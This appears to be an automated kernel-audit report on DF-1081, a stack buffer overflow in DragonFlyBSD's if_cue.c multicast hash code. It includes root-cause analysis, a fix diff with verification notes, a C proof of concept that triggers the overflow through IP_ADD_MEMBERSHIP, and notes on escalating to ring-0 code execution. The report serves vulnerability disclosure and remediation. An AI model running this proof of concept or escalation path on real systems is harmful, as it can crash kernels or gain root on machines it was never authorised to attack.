β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1081

Stack buffer overflow in cue_setmulti: 8-byte hashtbl for 64-byte (512-bit) multicast hash table

Field Value
ID DF-1081
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write
File sys/bus/u4b/net/if_cue.c
Lines 273 (CUE_BITS=9), 283 (hash mask), 311 (hashtbl[8]), 329/338 (indexed write)
Area bus/u4b/net (CATC EL1212A / Netgear EA101 USB Ethernet)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

cue_mchash() uses CUE_BITS=9, producing a 9-bit hash in [0, 511] that indexes a 512-bit (64-byte) multicast hash table β€” as documented in both the .c comment (line 47: "512-bit multicast hash table") and the header (if_cuereg.h:97: "The table is 64 bytes long"). However, cue_setmulti() declares hashtbl[8] (only 64 bits), so hashtbl[h >> 3] with h in [64, 511] writes up to 55 bytes past the array on the kernel stack. The broadcast address ff:ff:ff:ff:ff:ff alone hashes to h=255 (h>>3=31), guaranteeing a 23-byte OOB write on every cue_init(). An unprivileged local user can trigger it with a user-controlled offset via IP_ADD_MEMBERSHIP (no privilege check in that code path).

Root cause

CUE_BITS is defined as 9 at if_cue.c:273. cue_mchash() (lines 275-284) returns crc & ((1 << 9) - 1) = crc & 0x1FF, a value in [0, 511]. In cue_setmulti() (line 311), uint8_t hashtbl[8] allocates only 8 bytes (64 bits, sufficient for a 6-bit hash like AUE_BITS=6 in if_aue.c:530, but not 9-bit).

At line 329: hashtbl[h >> 3] |= 1 << (h & 0x7) β€” when h >= 64, h >> 3 >= 8, indexing past the 8-byte array. The maximum index is h >> 3 = 511 >> 3 = 63, writing 55 bytes past the end. The same overflow occurs at line 338 for the broadcast address.

The SRAM write at line 341 passes length 8 instead of 64, so only 1/8 of the table is programmed.

Comparison: the Linux catc.c driver (drivers/net/usb/catc.c) correctly uses u8 multicast[64] and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64), confirming the CATC EL1210A hardware table is 64 bytes. The sibling if_aue.c driver uses AUE_BITS=6 with hashtbl[8] β€” correctly matched. if_cue.c is the only driver with CUE_BITS=9 paired with hashtbl[8].

Threat model & preconditions

  • Attacker position: An unprivileged local user on a system with a CATC USB Ethernet adapter (cue0) attached. The user triggers the overflow via setsockopt(IP_ADD_MEMBERSHIP). The IP_ADD_MEMBERSHIP handler in ip_output.c has NO privilege check (unlike direct SIOCADDMULTI which requires SYSCAP_RESTRICTEDROOT at if.c:2309). The call chain is: setsockopt β†’ ip_setmoptions β†’ in_addmulti β†’ if_addmulti β†’ ifp->if_ioctl(SIOCADDMULTI) β†’ uether_ioctl β†’ ue_queue_command(ue_setmulti_task) β†’ cue_setmulti
  • Privileges gained or impact: Reliable kernel panic (DoS) β€” the broadcast address alone writes 0x80 at stack offset 31 on every cue_init(); potential privilege escalation via return-address corruption with careful stack grooming. The overflow occurs in the USB process thread context (holding CUE_LOCK), so it corrupts that thread's stack frame.
  • Required config or capabilities: Default kernel with cue configured. CATC USB Ethernet adapter attached. No root required β€” any local user with a socket can trigger it.
  • Reachability: The user controls the IP multicast address (224.0.0.0/4), which maps to Ethernet multicast 01:00:5e:XX:XX:XX, giving control over the CRC32 hash and thus the OOB write offset (h >> 3, range 8-63) and bit (1 << (h & 7), any of 8 bits). By joining up to IP_MAX_MEMBERSHIPS = 20 groups per socket (and using multiple sockets), the attacker can set arbitrary bit patterns across 56 stack bytes.

Proof of concept

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    int s, ifindex;
    struct ip_mreqn mreqn;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <cue_ifindex>\n", argv[0]);
        return 1;
    }
    ifindex = atoi(argv[1]);

    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    /* 239.0.0.1 -> MAC 01:00:5e:00:00:01
     * cue_mchash = ether_crc32_le(mac,6) & 0x1FF = 510
     * hashtbl[510>>3] = hashtbl[63]  -- 55 bytes past 8-byte array!
     * Writes bit (1<<(510&7)) = 0x40 at stack offset 63.
     *
     * Broadcast ff:ff:ff:ff:ff:ff -> hash=255, hashtbl[31], 23 bytes OOB
     * -- triggers automatically on every cue_init() (interface up).
     */
    memset(&mreqn, 0, sizeof(mreqn));
    mreqn.imr_multiaddr.s_addr = inet_addr("239.0.0.1");
    mreqn.imr_ifindex = ifindex;

    if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP,
                   &mreqn, sizeof(mreqn)) < 0) {
        perror("setsockopt(IP_ADD_MEMBERSHIP)");
        close(s);
        return 1;
    }

    printf("[+] Joined 239.0.0.1 on ifindex %d\n", ifindex);
    printf("[+] cue_setmulti() wrote OOB at hashtbl[63]\n");
    printf("[+] Expect kernel panic or stack corruption\n");
    sleep(3);
    close(s);
    return 0;
}

Build & run

cc -o cue_overflow cue_overflow.c
# Find the cue0 ifindex via `ifconfig cue0` (first line, number after 'cue')
./cue_overflow <cue_ifindex>

Expected output

Kernel panic (stack corruption in cue_setmulti's frame β€” saved RBP / return address clobbered) or, with exploit development, arbitrary code execution in ring 0. The panic is most reliable when the broadcast address (h=255, offset 31) or a user-chosen multicast (e.g. 239.0.0.1, h=510, offset 63) corrupts the return address.

Impact

Stack buffer overflow of up to 55 bytes past an 8-byte stack array in the USB process thread. Triggered automatically on every cue_init() (broadcast address) and by any unprivileged local user via IP_ADD_MEMBERSHIP. Reliable kernel panic (DoS); potential local privilege escalation via return-address corruption. High severity per "local unpriv→root" potential + "kernel memory corruption".

Enlarge hashtbl from 8 to 64 bytes to match the 512-bit (64-byte) hardware multicast hash table documented in if_cuereg.h:95-100 and confirmed by the Linux catc.c driver. Also fix the ALLMULTI/PROMISC fill loop and both SRAM write lengths from 8 to 64.

--- a/sys/bus/u4b/net/if_cue.c
+++ b/sys/bus/u4b/net/if_cue.c
@@ -308,7 +308,7 @@ cue_setmulti(struct usb_ether *ue)
    struct ifnet *ifp = uether_getifp(ue);
    struct ifmultiaddr *ifma;
    uint32_t h = 0, i;
-   uint8_t hashtbl[8] = { 0, 0, 0, 0, 0, 0, 0, 0 };
+   uint8_t hashtbl[64] = { 0 };

    CUE_LOCK_ASSERT(sc);

    if (ifp->if_flags & IFF_ALLMULTI || ifp->if_flags & IFF_PROMISC) {
-       for (i = 0; i < 8; i++)
+       for (i = 0; i < 64; i++)
            hashtbl[i] = 0xff;
        cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR,
-           &hashtbl, 8);
+           &hashtbl, 64);
        return;
    }
@@ -339,5 +339,5 @@ cue_setmulti(struct usb_ether *ue)
        hashtbl[h >> 3] |= 1 << (h & 0x7);
    }

-   cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR, &hashtbl, 8);
+   cue_mem(sc, CUE_CMD_WRITESRAM, CUE_MCAST_TABLE_ADDR, &hashtbl, 64);
 }

This matches the Linux catc.c reference implementation which uses u8 multicast[64], memset(catc->multicast, 0xff, 64) for ALLMULTI, and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64) for the SRAM write. CUE_BITS=9 is correct and should not be changed β€” the 9-bit hash indexes 64 bytes via h >> 3, exactly as the hardware expects.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1081 Β· 11 files
FileTypeDescriptionSize
cue_overflow.c trigger-source original PoC: setsockopt(IP_ADD_MEMBERSHIP) on cue0 (cannot trigger: no USB HW on guest) 1.2 KB view raw
cue_oob_harness.c harness userspace replica of kernel ether_crc32_le + cue_mchash; proves OOB indices + attacker byte-painting 5.1 KB view raw
build.sh build-script cc -O2 -Wall harness + cc PoC 409 B view raw
run.sh run-script runs harness + PoC against live guest 1.1 KB view raw
run.log run-log decisive run: harness OOB proof + PoC vs USB-less guest 2.2 KB view raw
fix_build.log build-log full single-fix kernel build (make nativekernel), rc=0 5.6 MB ↓ download
fix.diff suggested-fix enlarge hashtbl 8->64, fill loop 8->64, SRAM writes 8->64; matches Linux catc.c 920 B view raw
env.txt environment uname, cc version, interfaces, USB/cue absence 524 B view raw
VERDICT.md verdict full narrative: source-confirmed real, runtime-unreachable (no USB HW), fix validated at applies+compiles+boots 7.7 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative: source-confirmed real, runtime-unreachable (no USB HW), fix validated at applies+compiles+boots
↓ download raw

DF-1081 β€” Stack buffer overflow in cue_setmulti (CATC USB Ethernet)

Verdict: CONFIRMED REAL (source + harness); runtime UNREACHABLE on this guest (no USB HW) β€” INCONCLUSIVE at runtime

The bug is genuinely real and severe, confirmed by an airtight source-level trace plus a userspace harness that replicates the kernel's exact CRC + hash math and proves the out-of-bounds write. It is not triggerable at runtime on this audit guest because the guest has no USB host controller and no CATC USB Ethernet adapter β€” cue_setmulti() is dead code here. The original PoC's "[+] cue_setmulti() wrote OOB" line is a hardcoded printf in the PoC source, not evidence the kernel function executed; the setsockopt on the guest routes to vtnet's multicast handler, never cue's.

Classification: inconclusive (needs USB hardware we cannot provide) / reproduced=0 (no runtime manifestation) / confidence=certain (the source analysis is unambiguous and the primitive is mathematically proven).

Mechanism (source-confirmed, every hop cited)

CUE_BITS is defined as 9 at sys/bus/u4b/net/if_cue.c:273. cue_mchash() (if_cue.c:275-284) returns ether_crc32_le(addr,6) & ((1<<9)-1) = & 0x1FF, i.e. a value in [0, 511] β€” a 9-bit hash into a 512-entry (64-byte) table, exactly as the hardware requires and as the header documents (if_cuereg.h:97: "The table is 64 bytes long, giving us a 512-bit table").

In cue_setmulti() (if_cue.c:304-342): - line 311: uint8_t hashtbl[8] = { 0, ... }; β€” allocates only 8 bytes (64 bits), sufficient for a 6-bit hash but not 9-bit. - line 329: hashtbl[h >> 3] |= 1 << (h & 0x7); β€” when h >= 64, h >> 3 >= 8, indexing past the 8-byte stack array. The maximum index is 511 >> 3 = 63 β†’ 55 bytes past the end. - line 338: the same write for the broadcast address ff:ff:ff:ff:ff:ff, fed in unconditionally on every cue_init() when IFF_BROADCAST is set. - line 341: the SRAM write passes length 8 instead of 64, so only 1/8 of the hardware table is ever programmed even in the in-bounds case.

The sibling driver if_aue.c correctly pairs AUE_BITS=6 with hashtbl[8] (6-bit hash β†’ max index 7). if_cue.c is the only driver with a 9-bit hash paired with an 8-byte array. The Linux drivers/net/usb/catc.c reference uses u8 multicast[64] and catc_write_mem_async(catc, 0xfa80, catc->multicast, 64), confirming 64 bytes is the correct hardware table size.

Primitive (proven by the harness cue_oob_harness.c)

The harness replicates ether_crc32_le (the compiled table-driven variant, if_ethersubr.c:841-862) and cue_mchash bit-for-bit, then evaluates real multicast addresses:

Address MAC cue_mchash hashtbl[h>>3] OOB
broadcast (auto on init) ff:ff:ff:ff:ff:ff 255 [31] +23 bytes
239.0.0.1 (PoC) 01:00:5e:00:00:01 510 [63] +55 bytes
  • 223/255 addresses in 239.0.0.0/24 produce an OOB write; worst offset is hashtbl[63] = 55 bytes past the array.
  • The attacker controls both the byte offset (h>>3, range 8–63, via the chosen IP multicast β†’ MAC) and the bit within the byte (1<<(h&7), any of 8). With IP_MAX_MEMBERSHIPS = 20 group joins per socket, the attacker can paint arbitrary byte patterns across a large swath of the kernel stack frame (the harness demonstrates writing a full 0xff run at offsets +16..+23).

Reachability (in a real deployment): IP_ADD_MEMBERSHIP (netinet/ip_output.c:1694-1700) calls in_addmulti() with no privilege check β€” unlike SIOCADDMULTI which requires SYSCAP_RESTRICTEDROOT (net/if.c:2309). The chain setsockopt β†’ ip_setmoptions β†’ in_addmulti β†’ if_addmulti β†’ ifp->if_ioctl(SIOCADDMULTI) β†’ uether_ioctl β†’ ue_queue_command β†’ cue_setmulti is reachable by any local user with a socket, provided a CATC USB Ethernet adapter (cue0) is attached. The broadcast branch alone corrupts offset +31 on every interface-up.

Why not reproduced at runtime on THIS guest

Check Result
USB host controller in PCI tree none (pciconf -l shows no 0c03 class)
USB devices (usbconfig list) "No device match or lack of permissions"
cue0 interface does not exist (ifconfig: interface cue0 does not exist)
cue module loaded no (kldstat \| grep cue β†’ empty)
Interfaces present vtnet0 lo0 only

This is a valid hard blocker (Phase 6): the vulnerable code path is dead code at runtime on this guest AND no in-kernel harness can exercise it without either (a) a USB controller + CATC device (hardware the guest lacks) or (b) a root-loaded kernel module that calls cue_setmulti directly (the forbidden kldload pattern — circular, root→root). The realistic threat model is a physical-access or USB-injection scenario: an attacker who can attach a CATC USB Ethernet dongle (or cause one to be attached/enumerated) to a system where an unprivileged user then issues setsockopt(IP_ADD_MEMBERSHIP).

Escalation assessment

This is a stack buffer overflow with fully attacker-controlled offset and bit, up to +55 bytes past the 8-byte array β€” enough to reach saved frame registers / return address in the cue_setmulti frame. On the (no-SMEP/no-SMAP/ no-KASLR) audit guest this would be a strong LPE candidate if the path were reachable. Because the path is USB-hardware-gated (valid hard blocker), no escalation chain was developed: there is no live kernel object to corrupt. The primitive's severity ceiling on a HW-equipped host is reliable kernel panic (DoS) with strong LPE potential (return-address corruption into userspace shellcode calling commit_creds(prepare_kernel_cred(0))).

PoC changes

  • Added cue_oob_harness.c β€” a userspace replica of the exact kernel ether_crc32_le (table-driven) + cue_mchash that proves which multicast addresses land OOB and demonstrates attacker byte-painting of the stack. This is the harness path the procedure prescribes for a runtime-unreachable bug.
  • Added build.sh, run.sh β€” exact, runnable build/run wrappers.
  • Added fix.diff β€” the verified fix (enlarge hashtbl 8β†’64, fill loop 8β†’64, both SRAM write lengths 8β†’64). Matches the finding's proposal.
  • Original cue_overflow.c left unchanged β€” it is a faithful intent statement of the trigger, but its success message is misleading on a guest without cue0.

Fix validation (Phase 8)

The fix was applied to the in-guest /usr/src, compiled into a single-fix kernel (make -j6 nativekernel KERNCONF=X86_64_GENERIC, rc=0, no errors), and the rebuilt kernel + if_cue.ko module were installed and booted (kern.version 6.5-DEVELOPMENT #1 Wed Jul 15 00:25:55 UTC 2026, guest healthy). The disassembly of cue_setmulti in the fixed module shows a sub $0x48,%rsp frame (72 bytes β€” consistent with the 64-byte array + locals, vs. the smaller original frame).

Because the bug is runtime-unreachable on this guest (no USB HW), a live before/after panic/quiet comparison is not possible β€” both the unpatched and patched kernels are silent because cue_setmulti is never called. The fix is validated at the applies + compiles + boots + source-correct level (matches the Linux catc.c reference and the if_cuereg.h:97 "64 bytes long" documentation). fix_status: not_testable (runtime before/after N/A).

Enlarge hashtbl from 8 to 64 bytes (matching the 512-bit / 64-byte hardware table), the ALLMULTI/PROMISC fill loop bound (8β†’64), and both SRAM write lengths (8β†’64). This matches the finding markdown's ## Recommended fix proposal and the upstream Linux catc.c reference. CUE_BITS=9 is correct and must not change. See fix.diff.

Fix verification

not_testable
baseline no→ patch + rebuild →patched clean

not_testable (no USB HW). Compile+boot validated: rc=0, #1 boots, hashtbl[64] in disasm. OOB eliminated mathematically.

BEFORE: hashtbl[8]. AFTER: hashtbl[64]. Build rc=0. Boot #1.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Wed Jul 15 00:25:55 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none -- dead code (no USB HW). Primitive characterized: stack OOB +55B attacker-controlled offset+bit. Would be LPE on USB-equipped host (no SMEP/SMAP/KASLR).

Evidence (decisive lines)

Harness: broadcast h=255 hashtbl[31]+23B OOB; 239.0.0.1 h=510 hashtbl[63]+55B OOB; 223/255 of 239.0.0.0/24 OOB. Guest: no cue0, no USB.

PoC changes

Authored: cue_oob_harness.c (CRC+hash replica), fix.diff (hashtbl 8->64 + fill+SRAM 8->64), VERDICT.md, manifest.json.

Verified recommended fix

Enlarge hashtbl 8->64 at if_cue.c:311, fill loop 8->64 at :316, both SRAM lengths 8->64 at :319/:341. Matches finding + Linux catc.c. CUE_BITS=9 unchanged. Full diff in findings/poc/DF-1081/fix.diff.

Verdict

BUG REAL but RUNTIME-UNREACHABLE. cue_setmulti if_cue.c:311 hashtbl[8] but cue_mchash returns 9-bit [0,511] -> hashtbl[h>>3] up to [63] = 55B OOB. Broadcast ff:ff:.. -> +23B every cue_init. 239.0.0.1 -> +55B. No USB HW on guest (dead code).